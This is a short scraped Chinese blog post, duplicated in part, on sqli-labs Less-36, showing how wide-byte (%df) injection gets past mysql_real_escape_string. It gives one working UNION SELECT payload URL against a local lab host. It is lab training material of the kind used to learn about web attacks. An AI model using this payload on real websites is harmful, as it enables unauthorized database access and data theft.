看一下mysql_real_escape_string()函数
\x00 
\x1a 
注入的关键还是在于闭合引号，同样使用宽字节注入
http://192.168.136.128/sqli-labs-master/Less-36/?id=0%df‘ union select 1,2,3%23
标签：函数 gpo ast mys 分享图片 技术分享 get sql div
看一下mysql_real_escape_string()函数
\x00
\x1a
注入的关键还是在于闭合引号，同样使用宽字节注入
http://192.168.136.128/sqli-labs-master/Less-36/?id=0%df‘ union select 1,2,3%23
【sqli-labs】 less36 GET- Bypass MYSQL_real_escape_string (GET型绕过MYSQL_real_escape_string的注入)
标签：函数 gpo ast mys 分享图片 技术分享 get sql div
原文地址：https://www.cnblogs.com/superkrissV/p/8384526.html
